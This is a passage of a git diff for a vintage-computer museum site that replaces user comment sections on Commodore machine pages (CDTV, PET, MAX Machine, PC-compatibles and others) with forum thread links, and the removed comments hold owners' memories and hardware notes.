used it for many years to run my shop. It would hold data for about 2,000 repairs. There was nothing like it at the time. He also did a simple payroll tax program. The Leica camera company in Germany developed a camera shutter speed tester using an 80XX as the output device. - - author: Jonno (Yorkshire, England) - date: Friday 22nd October 2010 - text: I learned to program on one of these in school when I was 15 and I loved it. Only had a tape deck though so very slow. My friend had a BIG program he wrote and it would take most of a lesson to load it! Because of this lots of people preferred the timeshare teleprinter terminal linked to our local council''s mainframe as it had instant save/load times. - - author: Ernie Jacob, Jr. (Switzerland) - date: Thursday 7th October 2010 - text: |- - I used a CBM 8032 combined with 2 px. 8296 FDD Floppy Disk Stations to manage my 20''000+ Customer Database and it worked, at least, most of the time, quite well. - - From my point of view, the 8032 was the first real Consumer Computer packed into a very strong case and looking like a real Computer... - - Ernie - - author: Dave Lea (UK) - date: Wednesday 1st September 2010 - text: These were an absolute nightmare to work on, when spares started to dry up, you could only tackle on with an ociliscope, an avo meter and soldering iron along with your box of bits! Good memories though, but it might frighten todays techies a bit - - author: Wulf - date: Monday 27th April 2009 - text: In contrast to Ben''s experience, I think to remember that it actually was possible to read C64 tapes on a Pet. Our school had a room full of Pets, and a friend and me used to write BASIC programs at home with a C64 and then load them into the Pet the next day. You needed a series of Pokes for the tape to load properly though. - - author: Peter Husrt (UK) - date: Friday 21st March 2008 - text: |- - I used Commodore PET's at college in the early eighties. I remeber how fast they seemed compared to my ZX81 at home and the robustness, no more gentle typing in case the rampack wobbled! - - I was always impressed at the design and the way the case opened like a car bonnet to gain access to the motherboard. - - author: Skel (Oakville, Ontario, Canada) - date: Tuesday 17th October 2006 - text: Take a close look at the C-64's User Manual for the 1541 disk drive. As was mentioned in the PET profile, the Tapes from the 80xx could be read by the C-64. Likewise, the 1541 disk drive used the Pet 40xx & 80xx disk format system allowing it to read the old PET formatted diskettes BUT NOT WRITE to them. It wasn't just tapes that could be read, but diskettes as well. Indeed, several diskette programming instructions in the Commodore 64 Basic V2 such as the save procedure "s0:" and "Duplicate" (completely useless on the 1541's single disk system) were hold-overs from as far back as the first PET disk drive systems. - - author: Rich (Salt Lake City, UT, USA) - date: Sunday 12th December 2004 - text: I have one of these, but it doesn't power up. Any suggestions on how to diagnose/repair the problem? The fuse is fine, so it seems like it must be the power supply. Thanks! - - author: stefan (sweden) - date: Monday 14th October 2002 - text: |- - I have one of these.Buyer mail me.\ - stefan related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-700-series diff --git a/content/museum/commodore-cdtv.md b/content/museum/commodore-cdtv.md index aafc2b5c..355b9752 100644 --- a/content/museum/commodore-cdtv.md +++ b/content/museum/commodore-cdtv.md @@ -63,6 +63,7 @@ params: - emulators - links - videos + forum_thread: 120 hardware: - title: EXTERNAL 3.5'' DISK DRIVE subtitle: Model 1411 @@ -221,54 +222,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Rougeaux - date: Monday 2nd July 2018 - text: |- - I actually did dare to look it up, and discovered that the first public demonstration of the CDTV was on 2 June 1990, at CES. At the time, it had been under development for around 18 months, or since late 1988. - - https://groups.google.com/d/msg/comp.sys.amiga/KsZfxQCglNg/L5HBrQhJULEJ - - In fact, development was still going on even after that demonstration.\ - In a letter from Commodore posted to the CompuServe Amiga forum in August 1990, the CDTV was described as still being "currently in development." The letter went on to clarify that, in spite of speculation regarding the as-yet-unreleased platform, Commodore was as committed as ever to entertainment software as well as education. - - https://groups.google.com/d/msg/comp.sys.amiga/btfLfeVcPbM/DkUuE9UvSQIJ - - author: amigaman - date: Monday 25th July 2016 - text: |- - wait you know i am amigaman ,and are jealous wish it where someone else.So you lie about everything. TS!!! . you guys bs dont know the real date you gust screw up here now you say 1990 for the cdtv ..wait wiki and the others say 1991 ..dav even says 1990 .wrong idiots is 1986 really aga was out in 1990 Mass Brothers sold cdtv in 1988.Look it up if you dare -all version where out by commodore in 1987., Oh I have a screen grab of all you morons making fooltards of yourselves.\ - w - - author: Frederic (France) - date: Wednesday 27th June 2012 - text: |- - My first Amiga, and probably the most beautiful. - - The CD firmware was on 2 separate chips, and you needed to remove them if you wanted to use the 2.x ROM (so no more beautiful CD interface with those ROMs, but you could put them back in place when going back to 1.3), and doing so try not to break a "leg" of a chip... - - author: Lobmo (STL, MO/USA) - date: Saturday 3rd September 2011 - text: LOL, I remember those CD-I infomercials that used to run all night. And it still failed! - - author: phil - date: Tuesday 19th October 2010 - text: A small correction - the Philips CD-i was released just a few months after the CDTV and was a complete failure, despite Philips pushing it like crazy. - - author: Linkman (Slovak republic) - date: Tuesday 19th October 2004 - text: I think is the most beautiful of commodores - - author: Viral (Rochester, NY) - date: Tuesday 25th March 2003 - text: I love my CD TV. My parents got it when I was pretty young, I think they bought it used. They want me to sell it on ebay, and think it is an accident that I keep forgetting my digital camera. Hee hee. - - author: pedro (lisbon/portugal) - date: Monday 1st July 2002 - text: |- - can anyone tell me,were i can buy some games or other software to the amiga cdtv?\ - thanks for help! - - author: Milda (CZ) - date: Monday 27th May 2002 - text: |- - I have got a problems with CDTV. When I turn it on and want to play a game I see only blue window. - - I can play music CDs, but cannot play any game because of the blue window. - - Thanks for help. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-educator-64.md b/content/museum/commodore-educator-64.md index cddf5d1e..88182d51 100644 --- a/content/museum/commodore-educator-64.md +++ b/content/museum/commodore-educator-64.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 640 photos: - title: PET-64 subtitle: '' @@ -260,19 +261,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: Mike Robertson (Germany) - date: Wednesday 10th May 2017 - text: My PAL 4064 doesn''t have a SID built into it. It is made in West Germany and has a 1982 stamp inside the case. - - author: TronPlayer - date: Tuesday 1st January 2013 - text: The Educator 64 was never produced with a color screen. - - author: Steve Gray - date: Saturday 26th March 2011 - text: |- - I am unable to find evidence of an Educator 64 with a colour screen... what is your source? - - Steve related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-lcd.md b/content/museum/commodore-lcd.md index 7f41674a..6b6e8a92 100644 --- a/content/museum/commodore-lcd.md +++ b/content/museum/commodore-lcd.md @@ -62,6 +62,7 @@ params: - emulators - links - videos + forum_thread: 122 photos: - title: COMMODORE LCD subtitle: '' @@ -280,34 +281,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: dan (usa) - date: Monday 15th October 2018 - text: six were made. i had one, 5 were destroyed. mine is now in the smithsonian (as is the first wood case pet). was told it would work also with touch screen and jane icon-based operating system (pre windows!). i demo''d it to secretary of education of india in dc. i was director of edu software with sig on loan to white house to launch young astronaut program. marshall smith knew nothing! - - author: Frankenburger - date: Sunday 13rd November 2016 - text: |- - It''s very interesting, do do! - - A very smart man made a emulator of it here:\ - https://github.com/lgblgblgb/xemu/wiki - - A what-if prototype machine with no software. - - I would rather work on a PDP-1 emulator.\ - At least you can play Space War, the world''s first video game. - - author: Yuriy (Russia) - date: Tuesday 18th February 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru - - author: Bob Heinen (Netherlands) - date: Wednesday 23rd April 2003 - text: |- - I would like to know if anyone can help me. I am bidding on a LCD display, that was originally in the Commodore LCD laptop.\ - Is there a schematic available of the LCD, so I can use it for modding on my computer? - - Thanks, - - Bob related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-max-machine-ultimax-vc-10.md b/content/museum/commodore-max-machine-ultimax-vc-10.md index 5a18515c..660d572e 100644 --- a/content/museum/commodore-max-machine-ultimax-vc-10.md +++ b/content/museum/commodore-max-machine-ultimax-vc-10.md @@ -59,6 +59,7 @@ params: - hardware - software - links + forum_thread: 59 photos: - title: MAX subtitle: '' @@ -150,26 +151,6 @@ params: - title: The secret weapons of Commodore url: http://www.floodgap.com/retrobits/ckb/secret/ultimax.html text: Comprehensive website detailing the Commodore MAX. - comments: - - author: ThunderBlade (Germany) - date: Friday 8th October 2021 - text: The statement that the MAX Machine can not do multi color is incorrect. I own a MAX Machine so I tried MAX BASIC and set bit 4 in $D016 to switch on multi color mode. It behaves exactly like on a C64, multi color mode goes on. - - author: WEMEDIA (Italy) - date: Saturday 6th May 2017 - text: |- - Ira Velinsky designed MAX Machine, C116 and CBM-II line.\ - Then he moved to Atari where he made Portfolio and Stacy case.\ - I play Avenger for the MAX: best Space Invaders conversion ever, better than C64 version - - author: RetroRoby (Luxemburg) - date: Thursday 28th July 2011 - text: |- - I''m searching also a Commodore Max not to expensif. But i don''t know where i can search for.\ - Can you help me please? - - Thank you and best regard RetroRoby - - author: R.T.Dickinson (London) - date: Sunday 28th August 2005 - text: I've just added a Japanese version of the Max to my Commodore computer collection. The P.S. is 110v and the display is NTSC. All the instructions are in Japanese. The unit came with all its original packaging and is in pristine condition and full working order. 4 games cartridges and a commodore basic cartridge was also included in the sale. oc_id: 40 source: url: https://web.archive.org/web/20230417024942/http://www.old-computers.com/museum/computer.asp?c=40 diff --git a/content/museum/commodore-pc-compatible-systems.md b/content/museum/commodore-pc-compatible-systems.md index 530b8947..94f2c72d 100644 --- a/content/museum/commodore-pc-compatible-systems.md +++ b/content/museum/commodore-pc-compatible-systems.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 885 photos: - title: PC-1 subtitle: '' @@ -129,119 +130,6 @@ params: Photo taken from a Commodore brochure.\ Notice that the girl seems not to be interested at all in the computer... image: /media/museum/pubs/commodore_pccomp_pubpc60_1.jpg - comments: - - author: Alexia (Portugal) - date: Monday 18th April 2022 - text: I remember when dad brought home a Commodore PC10-2 (2 likely for number of Floppy Drives) I couldn''t make it work, as LOAD "\*" ,8,1 gave me strange errors, as did any BASIC Commands. Once I figured out that it ran "DOS" I started getting used to it. One problem we had was that it wouldn''t not \*ever\* recognize a 1.44MB 3.5" Floppy drive. It simply did not exist to the machine. It did however accept a 42MB Hard Drive (32MB and 10MB partitions, who could ever use more than 32MB?) A few years later it was joined by a Compaq Portable II, and was eventually replaced by a 286 with a mouse! But that''s a story for another Old Computer. - - author: Tervi (Czechia) - date: Thursday 1st October 2020 - text: |- - PC 10-II was my first DOS PC, after C-64 in early 90s. Orange CGA display, \~28MB HDD, built like a tank. - - Aside of quite slow yet unforgettable gaming and writing odd texts, I begun to learn Turbo Pascal on this machine and after many years and computer generations, I ultimately ended up developing software in the company that made DOS.\ - Sometimes I miss that orange CRT glow of times when it all started for me (reclaimed c-64 already). - - author: Richard - date: Tuesday 20th February 2018 - text: A note on the mouse interface on the commodore PC 10-III. The mouse interface has a reverse diode protection on each pin to prevent damage to the PC should you plug in a serial mouse. - - author: Massimo (Rome / Italy) - date: Wednesday 20th August 2014 - text: |- - I owned a Commodore PC 20-III with a dual floppy disk (1-3,5" 720kB 2-5,25" 360kB) and a hard disk (20 MB). It featured a 12,66 MHz 8088 and came with a color monitor (the same sold with the Amiga 500). - - To add value to the "technical informations" it also featured a CGA/Plantronix graphics card, capable of 320x200 at 16 of 256 colors. Unfortunately not many programs supported this colorful resolution at the time (once was deluxe paint). - - A really good and robust machine with a beautiful and comfortable keyboard and a mouse (the same of amiga 500). - - author: Massimo (Rome / Italy) - date: Wednesday 20th August 2014 - text: |- - I owned a Commodore PC 20-III with a dual floppy disk (1-3,5" 720kB 2-5,25" 360kB) and a hard disk (20 MB). It featured a 12,66 MHz 8088 and came with a color monitor (the same sold with the Amiga 500). - - To add value to the "technical informations" it also featured a CGA/Plantronix graphics card, capable of 320x200 at 16 of 256 colors. Unfortunately not many programs supported this colorful resolution at the time (once was deluxe paint). - - A really good and robust machine with a beautiful and comfortable keyboard and a mouse (the same of amiga 500). - - author: Exin (Germany) - date: Wednesday 29th May 2013 - text: I have a PC-1. It does indeed have an Expansion port on the back. But it''s not very useful. Some voltages and a Intact DMA0 line are missing. Also, the pinout is different from an ISA Port. But with a ISA Backplane and a AT Power Supply I made an Expansion Adapter with 5 additional slots. When you set the dip switches of the initial PC-1 Videomode to "none", you can add any Graphics card you like, but keep in mind it needs to refresh its own memory, otherwise you will be plagued with video artifacts. I used a WDC 16-bit SVGA card, a MFM Harddisk controller and a Soundblaster. Obviously, the internal PSU is too small for that and the stuff behind the PC-1 needs much more space than the PC-1 itself! - - author: MCbx (Poland) - date: Sunday 24th March 2013 - text: |- - I have an old PC10 with strange mainboard, it''s made of 2 boards. One contains CPU, RAM and ROM v. 2.01, as NPU socket and some VLSI chips. The second mainboard is connected by goldpin connectors, it''s an "IO board" containing serial and parallel port, ISA slots and all I/O chips. Some tracks from ISA slots are factory cut by drilling. This early PC10 has no RTC, HDD controller or reset switch, in front it has DIN keyboard connector. One LED (green and red 2-color) is not used, one (red) is for power. Computer contains 2 BASF floppy disk drives, they run very quietly.\ - Any info about this version?. - - author: Richard - date: Friday 5th October 2012 - text: A note about the CTRL-ALT-D combination. Soon after purchasing my Commodore Colt I found the combination and calculated the speed was 9.54MHZ. I wrote Commodore Business Machines and asked them what the speed of the computer was and if it was safe to operate it in this mode. I received a letter back from Commodore stating that the speed was not supported and that they did not recommend operating the computer in that mode. Even though the CPU was the 10MHZ 8088 other ICs on the motherboard may not be able to operate at that clock speed resulting in timing issues. Being a Electrical Engineer student, however, I knew that ICs were designed with a margin of error to allow for variations in designs. I therefore proceeded to use the Double speed and never experienced an issue. - - author: Richard - date: Friday 5th October 2012 - text: I purchased my Commodore Colt in 1988. In 1990 I purchased a 20 MB hard drive for it and soon after a VGA card. I spent many hours playing games and doing homework for college on that computer. In 1993 I upgraded to a 386 computer and the Colt went into storage. Recently I pulled out my Commodore Colt to restore it to operational status. The 20MB hard drive I originally purchased had failed, but I recently obtained a Seagate ST351A/X 40 MB drive and a 4.36 Bios chip. The new drive is working great and I plan to replace the RTC Battery. - - author: S.Hossain Massoumi (Iran) - date: Monday 24th October 2011 - text: My first computer was a Commodore PC-10 which I had in 1988. I learned GW-Basic Programming with it. one good thing about it was since it dosent have any hard disk that you could put the OS Disk in the Upper slot while put your program disket in the lower one. and another one was that it supportes 16 green colour wich was amazing for a monochrome pc. - - author: sverx - date: Thursday 23rd June 2011 - text: My 1st computer was a Commodore PC 10-III I bought in May 1989 at an incredible price for my 15-years-old-boy pocket. It had no HD, and I requested the 2nd floppy to be 3"1/4 instead of being another 5"1/4 that would be useless IMHO. The processor run at 9.54MHz (double speed) and -according to Wikipedia- was a Nec V20, an 8088 clone. The graphic board was a CGA compatible board with some more RAM than normal and some undocumented video modes. For instance I remember I could achieve 320x200 with 16 colors which was impossible on a real CGA. I loved that machine, really. - - author: Tom (USA) - date: Tuesday 5th April 2011 - text: My first DOS computer was the Commodore Colt I bought secondhand in 1992. I didn''t have a monitor for it but used a composite monitor that I was using on my Apple IIc. For some reason, the composite output quit working and I didn''t use the Colt for a while until I found a CGA video card to use with it. It had a 720kb 3.5" floppy and the standard 360kb 5 1/4" floppy drive, as well as a 40 MB hard drive. I had a lot of fun learning how to run DOS with it. I ended up selling it on ebay a number of years later, but kind of wish I still had it. Nowadays I play the DOS games I played on the Colt on my Win7 laptop using the DOSBox emulator. - - author: Luzur - date: Saturday 29th May 2010 - text: my old hometown school had a couple of C$ PC-III''s and a Compis when i was a kid, we used them to play this fun mathematical game on it and save our results on personal 5,25 floppies. - - author: Peter Gerritsen (Earth) - date: Friday 27th April 2007 - text: |- - I was the owner of a Commodore PC 60 III.\ - It was my very first MS-Dos compatible PC and for that time it was a nice machine. It featured built in VGA graphics, a 20 Mb harddisk and 2 MB of ram.\ - But it was a real problem to expand the memory. While other PC's could be upgraded with EDO ram modules, the Commodore required a special memory module, designed by Commodore. The motherboard had special expansion slots for that board. Unfortnatelly, by the time I wanted to expand the memory, the memory modules were not longer available by the reatailers and Commodore didn't exist anymore as a PC manufacturer. - - author: Aleksandar Cajic (Earth) - date: Saturday 17th March 2007 - text: |- - I think that PC-10 come with hard disk too...in the year 1986 i get this computer with HD (22mb)\ - And this is not been a option... - - author: JT (St Louis USA) - date: Thursday 15th March 2007 - text: I purchased the Commodore Colt which was an 8088 based PC for $799. It came with two 5 ¼” floppy drives, CGA graphics, 640k RAM and MS-DOS 3.2. It would run at 4.77 MHz or 7.16 MHz (x1.5) if you pressed the Alt-T combination. There was also an undocumented Alt-P combination that would step up the processor to 9.54 MHz (x2.0). One of the earlier instances of over clocking your processor. I ended up putting a 3 ½” floppy in one of the drive bays, a 40 Meg hard drive and a 2,400 Kbps modem. - - author: Janne Sormunen (Helsinki, Finland) - date: Sunday 18th December 2005 - text: There seems to be at least one error in the data provided on these pages regarding Commodore PC-models. Not all 8088 computers came with 84 keys keyboard, as my Commodore PC 10-III came with 102 key keyboard. I gave up the computer around 1989, but this very keyboard stayed with me for many years, actually I still have it in my closet. The Commodore 102-keyboard was and probably still is, the best there is :) Once I accidentally sold that keyboard, but believe it or not, I found the very same keyboard from a second hand shop some two years after that (I recognised it as I once burned some marks on it). I might still have the original documentation somewhere. Hope I will find all that. - - author: Simon (Winnipeg, MB, Canada) - date: Saturday 24th September 2005 - text: |- - My first computer was a Commodore PC 10-III...\ - Derek, to answer your question re: the tones when pressing Ctrl-Alt-S/T/D, this is actually for changing the CPU clock speed:\ - S = Standard speed (4.77 Mhz)\ - T = Turbo speed (7.16 Mhz)\ - D = Double speed (9.56 Mhz) - - author: Derek Warren (Vancouver, BC, Canada) - date: Tuesday 23rd August 2005 - text: |- - I used a Commodore PC 10-III in the late eighties and noticed that whenever I hit Alt-S, the internal speaker would produce a tone (D#) for half a second. Alt-D would produce a G, and Alt-T would produce an F. - - I have no idea why this is, but I'll be there's a silly story behind this. Anyone? - - author: Vlask (Cz Republic) - date: Tuesday 10th May 2005 - text: I have commodore model PC10c (on back sticker) now, in front its name is Commodore PC 20-III. CPU is Siemens 8088-1-P. It have slot for copprocesor - empty. memory is 640KB, Graphic chip is paradise PVC4 - its maybe cga (how do i recognize this?) with one monitor and one TV out output. it have one mouse port, one big serial port and one paralel port. It have HDD Western Digital 20MB + 2x 5.25 floppys. Everything is integrated on mainboard, computer have 3 free expansion 8-bit isa slots. Bios is dated to year 1988. - - author: Liam O'Hara (USA) - date: Wednesday 5th January 2005 - text: My father's office used a Commodore PC-50 as a workstation in the early to mid 90's, ran MS-DOS 5 or 6 though came with version 4.11. We used Sage Sterling version 6 for invoicing and also Wordperfect 5 (not sure on the version). Was networked using Lan Manager and a 16bit tonken ring network card. - - author: Neal K (USA) - date: Thursday 21st October 2004 - text: |- - I remember when dad brought home a Commodore PC10-2 (2 likely for number of Floppy Drives) I couldn't make it work, as LOAD "\*" ,8,1 gave me strange errors, as did any BASIC Commands. Once I figured out that it ran "DOS" I started getting used to it.\ - One problem we had was that it wouldn't not \*ever\* recognize a 1.44MB 3.5" Floppy drive. It simply did not exist to the machine. It did however accept a 42MB Hard Drive (32MB and 10MB partitions, who could ever use more than 32MB?) - - A few years later it was joined by a Compaq Portable II, and was eventually replaced by a 286 with a mouse! But that's a story for another Old Computer. - - author: pcnerd11 (united states) - date: Sunday 15th February 2004 - text: i think this type is really cool. commodore was obviously one of the best computer manufactueres. it looks real neat it must have been a good computer. i am a computer nerd and i study these things. - - author: Henrik (Denmark) - date: Tuesday 3rd February 2004 - text: I found an old PC-1 from 1984 with PC-expanson (A whole cabinet with 21 MB HDD). I took it home, and it is in my cellar now. A day I will open the case and look at the motherboard myself, take some pics. etc... - - author: Nicholas Scarpinato (USA) - date: Tuesday 15th July 2003 - text: I picked up a Commodore Colt at a garage sale for $2. At first, my dad and I had no idea what it was, but when we took the cover off, lo and behold, an 8088! We started playing with it right away. All we had was the case, we had to scrounge around for a keyboard (any IBM keyboard would work on it). We used it for about 2 years, running Wordperfect 5.1, DOS 3.3, etc... Eventually we made it up to DOS 6 and even tried Windows 3.0 on it! The best part of the system was the Video Out RCA jack on the back that allowed you to plug the system in to a TV and use a TV as a monitor. We used to record ourselves playing games through the VCR line in for fun :-P This system was my first IBM compatible PC, before this I had an ADAM and an Apple //c, and the Laser 128 clone of the Apple //c. We later attempted to use the case to hold a 286 motherboard we found, but they were proprietory cases. I would still use the system today if I had it, but the floppy drives eventually died and we retired - it. - - author: Meta (Istanbul/Turkey) - date: Friday 4th July 2003 - text: I had a "Commodore PC1" in year 1988. It had a 8088 CPU running 4.77 Mhz, 360 Kb 5 1/4 floppy, CGA graphics with monochrome monitor (black&green), compact keyboard and finally 512 K RAM (expandable to only 640 K). It had no HD but there was a non-standard port for that purpose. It came with DOS 3.21. oc_id: 905 source: url: https://web.archive.org/web/20230603115219/http://www.old-computers.com/museum/computer.asp?c=905 diff --git a/content/museum/commodore-pet-200.md b/content/museum/commodore-pet-200.md index 6acfbfef..0c5e0839 100644 --- a/content/museum/commodore-pet-200.md +++ b/content/museum/commodore-pet-200.md @@ -59,6 +59,7 @@ params: - emulators - links - docs + forum_thread: 729 photos: - title: COMMODORE LABEL subtitle: '' @@ -149,25 +150,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Martin ''Funny'' Heise (Germany) - date: Saturday 22nd October 2016 - text: according to Brian Bagnall''s "Commodore - a company on the edge", p. 376, the Porsche Design Center in Stuttgart, Germany, was involved in the design process, but it''s design was not used. Commodore simply tried to use Porsche''s name in the marketing process afterwards, for the design of Ira Velinsky''s. - - author: Remi Jakobsen (Norge) - date: Monday 2nd May 2016 - text: |- - Ira Velinsky,back then an Commodore employee, was the designer for the rounded case. Porsche was never involved. I''ve got this directly form an back then Commodore employee. Ira Velinsky is commonly recognized as the designer among PET/CBM collectors and in user groups. - - That Porsche was involved is simply a myth that goes around on the Internet in sale adverts and so on and is not true. - - author: Magnus - date: Tuesday 22nd May 2012 - text: I also have one of the swedish models. I got it in 1990 so I guess it is at least 8 of them :) . - - author: John (Nevada) - date: Thursday 3rd July 2003 - text: |- - Hey there! I've been looking to buy on old PET system, doesn't really matter if it's working or not ( you can gut the system for all I care), nor does the model really matter, though I'd prefer a Commodore 200. Really all I want is the case and monitor. If you have any info, please let me know! Thanks! - - astronauticeng@aol.com related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-700-series diff --git a/content/museum/commodore-pet-2001.md b/content/museum/commodore-pet-2001.md index f4c7568a..87c58dd1 100644 --- a/content/museum/commodore-pet-2001.md +++ b/content/museum/commodore-pet-2001.md @@ -61,6 +61,7 @@ params: - emulators - links - docs + forum_thread: 201 photos: - title: '''''BLUE'''' MODEL' subtitle: '' @@ -228,86 +229,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Scott Falkner (Canada) - date: Thursday 31st March 2022 - text: My school had a 2001 PET and my dad bought a 4016 PET for our home, so I got to use both, Unfortunately not much software would work on both systems because they used a different BASIC. Games written in machine language usually worked on both. The most popular game at school was Space Invaders, which just barely fit into 8K of memory. It took two minutes to load from tape, and we usually got to use it in 15 minute chunks, so if the last person was playing Space Invaders that''s two minutes you don''t have to burn loading the game. Sometimes the game was running all day. At some point an unspoken rule came into effect that you could not load another program or even stop the game because that would reset the high score. It became a point of pride to have the high score at the end of the day when the computer was eventually turned off. Despite the lousy keyboard and lack of graphics it was a fun machine and very fun to program on. - - author: Stephen Hutton (New Zealand) - date: Thursday 28th May 2020 - text: |- - In 1977 I was given my first PC, a Commodore PET 2001 - 1 mHz/4KB RAM with a cassette tape drive. It came in 2 large boxes. One for the PC (with the little green screen) and one full of operating manuals and books on programming languages like BASIC.\ - The old farmer I was working for at the time told me that his son had sent it out from Germany and had said to him, "Dad, it’s the latest thing, put the farm on it!"\ - The farmer had promptly put it into his barn (unopened) and forgot about it until I mentioned my interest in them.\ - He was happy to be rid of it.\ - Took me weeks to type in enough code to play naughts $ crosses. - - author: Dave (US) - date: Monday 1st October 2012 - text: I''ve got a PET2001 with the 8050 duel drive with the printer. My question is ,is the printer worth much? Haven''t seen any on line anywhere. - - author: Dean (USA) - date: Sunday 29th January 2012 - text: Got a bit of a story about the 2001-8. I got the opportunity to work in a lab that had an aging Friden EC-132 (first RPN calculator was EC-130). At that time I saw an advertisement in the back pages of Scientific American for this Commodor computer. I convinced my superior that with a bit of programming I could make the Pet replace the Friden. I did mention that I had only taken one introductory course in Fortran at college but Basic was similar to Fortran, so I was told. Also mentioned that since a card used up about 100 bytes we should go for the 8k version. Anyway Pet was purchased and I wrote the program which provided a bit larger stack but no better precision. I also added several other features but in all a success, my first at programming. Needless to say I ended up writing a lot more programs and left Chemistry far back in the rear view mirror. - - author: Stephen Young (Vancouver / Canada) - date: Saturday 27th August 2011 - text: My first computer, the 8K version with the insane chicklet keyboard. When I finally brought it home, I couldn''t plug it in the wall ''cause my father''s house had groundless duplexes. I had to go to a neighbour and get a "modern" duplex to replace the one in my bedroom. Then I sat at that keyboard for 24 hours straight! No, I did not become a programmer. But I still stay up all night, hell, I''m typing this at 01:00 in the morning... - - author: Namaman (Japan) - date: Tuesday 12th April 2011 - text: |- - Isinööri,\ - If these cassettes are still available and you are still around, then I''m interested.\ - Please email me random6000$at$mac.com - - author: David Pratt - date: Wednesday 30th March 2011 - text: |- - Can''t believe I paid some £700 for this in 1978. I still own the later 32KB full keyboard version stored in my house loft. - - When I got this 8KB PET home, was very excited to have a go at programming (BASIC). Worked great for some continuous 12+ hours use then the screen gradually faded slowly to all white (or was it green?) to almost unreadable text. Being an electronics engineer, I soon traced the fault to an Integrated Circuit (SN 74F02 was the faulty when hot chip) on the logic board, I replaced the IC and all was well again. - - Still have the very bulky dual 5.25inch IEEE floppy drive - 160KB per disk side, speech synthesiser, IEEE dot matrix printer and third party sound box (Music 500) which was quite hard to programme in reality to get any sensible pleasing musical sound out. I dread to think what all this must have cost me in those days. - - author: Isinööri (Finland) - date: Wednesday 3rd November 2010 - text: Hi, I recently found some old C-cassettes. BUT I have left my Commodore PET to a previous workplace about twenty years ago. Anybody interested? - - author: Raoul Teeuwen (Netherlands) - date: Saturday 13rd August 2005 - text: Just bought a PET 2001. It is missing one of the shift-keys and i still have to find out whether it works. This was my first computer i used, and took the first babysteps in programming on. The PET i bought even has a "ram adapter" (i guess it is extra RAM)... I love how the hood pops open... - - author: Dave Kellow (Halifax, Nova Scotia) - date: Friday 28th January 2005 - text: Wow! This was the first computer I ever used, at the age of 7. My grandfather (Commodore Canada CEO Ed Kelllow) brought it home for us in 1980. I brought it to school for show and tell. You could set a radio next to it and hear the game you played coming through the static. The wrong sort of 'wireless' technology. Wow. Got me started programming - a pursuit which now feeds my family. :D - - author: Casandro (Cham) - date: Saturday 4th September 2004 - text: |- - I doubt that little programm turning the motor on and off quickly. The motor would just run slowly.\ - However if you'd insert somekind of delay so the tape would have to actually accelerate and stop you could slowly damage the tape-drive. - - There might also be a capacitor in parallel with the motor, that could cause rather high currents when the voltage is turned on. That might cause problems. However none serious enought to cause a computer to burn. The worst which could happen is a burnt transistor or a defective motor. Both should be standard parts. - - author: Earl (Portland, Oregon USA) - date: Monday 2nd June 2003 - text: We had a 2001-8N in our computer science lab in high school. No one wanted to use it because of the keyboard and the somewhat peculiar graphic keys. Also, it only had a datasette - no disk drives. I was hungry for computer time and didn't want to compete for minutes on the TRS-80, so I learned how this machine worked (including how to type on one - believe it or not!). That started me down the Commodore path - a fun journey, which continued with the VIC-20 (the first computer I actually owned), and later a fine C-64 system with 1701 monitor, 1541s, etc. All because of that boxy little 2001 in the corner at school. - - author: Richard Welsh (Oxford, UK) - date: Sunday 23rd March 2003 - text: |- - We had a couple of these in our 'computer room' at my prep school, Spratton Hall, Northants, UK. I remember writing some kind of platform game for it (I can't remember what I called it) which had some success with other pupils! The character in the game was an inverse double-quote! I also wrote a horse-racing game for it. If anyone out there has a copy of these games I'd be very interested to talk to you!!\ - cheers Richard - - author: Douglas Reedy (Columbus, Ohio USA) - date: Monday 23rd September 2002 - text: The PET 2001 is the computer upon which I learned BASIC in 1977 at the tender age of 13. The main library in downtown Columbus had 2 of the 4K models in little kiosks. One day I walked up behind some guy who was programming the 2001 and I was instantly enchanted - I'd never seen a real computer before. I stood transfixed staring at the wonderful output of his program (stars or something). Eventually he noticed me and invited me over to explain how he was programming the computer. I owe a huge debt of gratitude to this stranger who took a moment of his time to start me out on this, my lifetime vocation. - - author: Andreas Berkl (Germany) - date: Friday 19th July 2002 - text: |- - Hi! - - I just got an original PET 2001 with datasette on my desk. I wonder if there is any software available for this beauty... - - Any idea if you can dump a WAV from an original tape on a cassette and feed the PET with it? - - And where can I get software for it? - - Greetings from sunny munich! - - author: Kevin (Dallas) - date: Sunday 28th April 2002 - text: This was my first computer. My school had some of these back in the late 70s. The ones we had looked like the PET 2001-8N. They had 8K RAM, Alumunum toped "chicklet" keys all crammed together with no offsets, but THEY DID NOT have the tape drive on the left side. The was a metal plate where the casset should have been. I also remenber being told that if we broke one our parrents would owe the school $6000. One of the PETs in the Lab was connected to a Punch card reader of some kind. When was a six or seven year old I would have done almost anything to get more time on the PETs. - - author: davo (Connecticut) - date: Thursday 28th March 2002 - text: I had one of these when I was twelve or thirteen--don't remember if it was "2001" model. Had a teeny tiny keyboard with all the keys crammed together; you had to type with the eraser end of a pencil. Worst of all, the damn thing wouldn't write data to the cassette storage medium because of some defect in the memory! completely useless except I did learn BASIC programming on it. related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-700-series diff --git a/content/museum/commodore-pet-30xx.md b/content/museum/commodore-pet-30xx.md index 0a859c49..1a8b8856 100644 --- a/content/museum/commodore-pet-30xx.md 